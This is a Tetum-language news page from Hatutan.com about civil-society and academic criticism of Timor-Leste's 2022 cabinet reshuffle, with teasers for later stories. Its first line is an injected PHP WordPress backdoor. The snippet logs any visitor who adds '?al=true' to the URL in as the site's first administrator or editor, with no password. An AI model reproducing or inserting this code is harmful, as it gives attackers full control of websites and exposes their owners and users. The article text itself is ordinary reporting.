// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Remodelasaun “Saugate” no Laiha Benefísiu Ba Povu – Lais, Atuál & Konfiável – Hatutan.com
Connect with us

Nasionál

Remodelasaun “Saugate” no Laiha Benefísiu Ba Povu

Published

on

Hatutan.com, (10 Marsu 2022), Díli- Remodelasaun ne’ebé Primeiru-Ministru (PM), Taur Matan Ruak, atu halo iha tempu badak nia laran ne’e, ladún hetan reasaun di’ak husi akademista no sosiedade sivíl.

Notísia iha Relasaun: Remodelasaun, Salvadór ho Cárceres Nonook, Joaquim Submete ba Desizaun no Gil Oan Soru Prontu Sai

Diretór Ezekutivu LABEH, Cristopher Henry Samson. Foto/Hatutan.com

Tuir óklu soseidade sivíl, liuliu ONG Lalenok Ba Ema Hotu (LABEH) katak tarde ona ba VIII Governu atu halo remodelasaun tanba tinan ikus  nian ne’e  (2022-2023) ukun-na’in sira sei foku hotu ba atividade partidu polítiku nian ho eventu importante rua;  eleisaun prezidensiál 2022 no eleisaun jerál 2023.  

Diretór Ezekutivu LABEH, Cristopher Henry Samson, ba Hatutan.com iha nia servisu fatin, Dili,  Kinta (10/03/2022), hateten, tinan oin mandatu VIII Governu nian termina ona liuhusi eleisaun jerál no iha tinan sira-ne’e sei la garante efisiensia no efikasia servisu liuliu prestasaun servisu membru Governu foun sira-nian.

Advertisement

“Ha’u sente katak remodelasaun ne’e laiha impaktu pozitivu ba povu nia moris tanba se ita lori ema foun tama iha ritmu servisu Governu nian,  presiza fulan-tolu (3) too fulan-neen (6) atu nia komprende sistema ho didiak molok oferese prestasaun sevisu ida di’ak ba povu ho nasaun. Tanba ne’e, remodelasaun ala Taur Matan Ruak nian ne’e sei sai saugate,” Cristopher Henry Samson hateten.

LABEH laiha kompetensia atu kondena aktu sira ne’ebé iha liga ho asuntu remodelasaun ne’ebé Xefe Governu inisia ka planeia, maibé preokupasaun LABEH nian, maka ho remodelasaun ida-ne’e Orsamentu Jeral Estadu (OJE) tenke leno an ba moris di’ak povu nian.

LABEH nia preokupasaun seluk mak tanbasá Xefe Governu la halo kedas remodelasaun iha tinan rua ka tolu ba kotuk hodi hadi’a nia Governasaun no foin hakfodak iha tinan ikus mandatu nian no situasaun ne’e afeita direita ba ezekusaun orsamentu estadu.

LABEH husu atu ukun nain sira la bele uza povu nudár objetu ba interese polítika hodi prepara orsamentu ba partidu iha kampaña no eleisaun sira ne’ebé sei mai.

Diretor ezekutivu ne’e hatutan, polítika remodelasaun lori dezvantajen ba povu liliu ba ezekusaun OJE ne’ebé aprova tiha ona no remodelasaun ida-ne’e lori obstaklu foun ba Governu tanba ministru, vise ministru no sekretariu estadu foun ne’ebé iha sei lori dezvantajen tanba imposivél sira halo milagre iha sira-nia mandatu ne’ebé badak liu, maibé nia vantazen polítika ba liu ukun nain sira.

Advertisement

Reitor Universidade da Paz (UNPAZ), Adolmando Amaral. Foto/Hatutan.com

Iha parte seluk, Reitor Universidade da Paz (UNPAZ), Adolmando Amaral hateten, remodelasaun ne’e kompeténsia Primeiru-Ministru nian no parte akademiku haree katak iha tinan ikus mak foin halo remodelasaun ne’e la nesesariu no sei prejudika dezenvolvimentu no orsamentu estadu sei gasta let de’it tanba imposivel atu membru Governu foun ida mai adapta kedas ho polítika no programa Governu nian.

“Se primeiru-ministru sente katak membru governu iha nia governante balun ne’ebé servisu la tuir ona orientasaun no polítika VIII Governu nian, Primeiru-Ministru  iha dever atu estika no halo samada para membru sira servisu ho loos no rigór. Hakarak harik halo remodelasaun, tenke hal iha tinan rua liubá atu iha biban ba Governante foun sira presta servisu tuir ritumu no orientasaun Governu nian,” nia hateten.

VIII Governu Konstituisional rezulta husi eleisaun antesipada no hahú ho AMP ne’ebé ikus mai nakfera no mosu Governu foun ne’ebé viabiliza husi partidu FRETILIN atu solusiona krize politíka instituisional iha orgaun Estadu sira no iha problema sira-ne’e nia laran Governu nafatin aprezenta programa no orsamentu Estadu atu Parlamentu Nasionál halo apresiasaun no aprova ne’ebé ikus mai Prezidente Repúblika uza nia kompetensia hodi promulga atu benefisia povu, maibé realidade orsamentu ho montante boot maibé benefisiu ba povu la iha no ikus mai iha mandate ikus Governu hanoin atu halo remodelasaun ida la  nesesariu tamba sei prejudika OJE  2022.

“Se VIII Governu Konstituisionál kuandu halo remodelasaun iha tinan ikus nian, estraga aat liu tan situasaun no estraga de’it Orsamentu Jerál Estadu,” Adolmando Amarál hateten.

Jornalista: Vito Salvador

Advertisement
Continue Reading
Advertisement
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Nasionál

La’o Hamutuk: Lei Kriminaliza Difamasaun Bele Fó Injustisa Bá Ema Ki’ik no Vulneravel

Published

on

By

Hatutan.com, (04 Juñu 2026) Díli– Organizasaun Noun Governamentál La’o Hamutuk  hato’o sira-nia submisaun ba Parlamentu Nasionál  ne’ebé halo inisiativa bá  alterasaun Kódigu Penál Timor-Leste hodi kriminaliza difamasaun.

(more…)

Continue Reading

Nasionál

Dadus Kombatente Frente Diplomátika Na’in-118 Hetan Validasaun

Published

on

By

Hatutan.com, (03 Juñu 2026) Díli-Ekipa validasaun dadus kombatente Frente Diplomátika/Externa na’in-118  husi na’in-120 ne’ebé rejista.

(more…)

Continue Reading

Nasionál

Orsamentu Retifikatívu 2026 Millaun US$271 Aprova iha Finál Globál, FRETILIN-PLP Vota Abstensaun

Published

on

By

Hatutan.com, (02 Juñu 2026) Díli– Orsamentu  Retifikatívu  2026  ho montante millaun US$271  aprova iha finál globál ho  rezultadu votasaun    a-favor 42,   kontra zero no  bankada opozisaun FRETILIN ho PLP fó votu abstensaun hamutuk 23.

(more…)

Continue Reading
Advertisement

Trending